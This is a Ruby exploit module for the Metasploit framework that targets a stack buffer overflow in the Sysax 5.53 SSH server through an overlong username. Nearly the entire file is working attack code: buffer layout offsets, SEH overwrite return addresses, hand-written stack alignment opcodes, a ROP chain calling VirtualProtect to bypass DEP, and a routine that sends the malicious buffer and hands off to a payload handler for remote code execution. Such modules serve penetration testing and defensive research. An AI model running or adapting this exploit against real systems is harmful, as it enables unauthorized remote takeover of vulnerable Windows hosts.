## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::SSH def initialize(info = {}) super( update_info( info, 'Name' => 'Sysax 5.53 SSH Username Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability found in Sysax's SSH service. By supplying a long username, the SSH server will copy that data on the stack without proper bounds checking, therefore allowing remote code execution under the context of the user. Please note that previous versions (before 5.53) are also affected by this bug. }, 'License' => MSF_LICENSE, 'Author' => [ 'Craig Freyman', # Initial discovery, PoC 'sinn3r' # Metasploit ], 'References' => [ ['OSVDB', '79689'], ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'], ['EDB', '18535'] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x3a", 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Platform' => 'win', 'Targets' => [ [ 'Sysax 5.53 on Win XP SP3 / Win2k3 SP0', { 'Rop' => false, 'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe } ], [ 'Sysax 5.53 on Win2K3 SP1/SP2', { 'Rop' => true, 'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN } ] ], 'Privileged' => false, 'DisclosureDate' => '2012-02-27', 'DefaultTarget' => 0 ) ) register_options( [ OptInt.new('RPORT', [false, 'The target port', 22]) ] ) end def check begin connect banner = sock.get_once(-1, 5) || '' disconnect vprint_status("Banner: #{banner}") if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/) return Exploit::CheckCode::Appears end rescue StandardError vprint_error('An error has occurred while trying to read a response from target') return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def generate_regular_exploit # # Align the stack to the beginning of the fixed size payload # align = "\x54" # PUSH ESP align << "\x58" # POP EAX align << "\x04\x08" # ADD AL,0x08 align << "\x8b\x18" # MOV EBX, [EAX] align << "\x93" # XCHG EAX,EBX align << "\x66\x2d\x10\x04" # SUB AX,0x361 align << "\x50" # PUSH EAX align << "\xc3" # RET # # Our payload limited to 1024+4 bytes # p = make_nops(4) p << payload.encoded # # Craft the buffer like this: # [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh] # * The 20-byte region is where our source IP is written. 20 bytes gives it enough room # for the IP length, so the next 9404-byte space will begin at a consistent place. # * After SEH, we have ~1860 bytes, but we don't need that because we're doing a # partial-overwrite to allow a null byte in SEH. # buf = '' buf << rand_text(392, payload_badchars) buf << rand_text(20, payload_badchars) buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20 buf << p buf << align buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back buf << [target.ret].pack('V*') buf end def generate_rop_exploit junk = rand_text(4).unpack('L')[0].to_i nop = make_nops(4).unpack('L')[0].to_i # !mona rop -m msvcrt p = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack('V*') p << payload.encoded # # Similar buffer structure to generate_regular_exploit # buf = '' buf << rand_text(392, payload_badchars) buf << rand_text(20, payload_badchars) buf << rand_text(1012, payload_badchars) buf << p buf << rand_text(9204 - buf.length) buf << rand_text(4, payload_badchars) buf << [target.ret].pack('V*') buf end def exploit # # Create buffer based on target (DEP or no DEP) # If possible, we still prefer to use the regular version because it's more stable # if target['Rop'] buf = generate_rop_exploit else buf = generate_regular_exploit end # # Send the malicious buffer # pass = rand_text_alpha(8) begin print_status("Sending malicious request to #{rhost}:#{rport}...") factory = ssh_socket_factory ssh = Net::SSH.start( datastore['RHOST'], buf, password: pass, port: datastore['RPORT'], timeout: 1, proxy: factory, config: false, non_interactive: true, verify_host_key: :never ) ::Timeout.timeout(1) { ssh.close } rescue Errno::ECONNREFUSED print_error("Cannot establish a connection on #{rhost}:#{rport}") return rescue StandardError => e if e.message.match?(/fingerprint [0-9a-z:]+ does not match/) print_error("Please remove #{rhost}:#{rport} from your known_hosts list") return end end handler(ssh) end end

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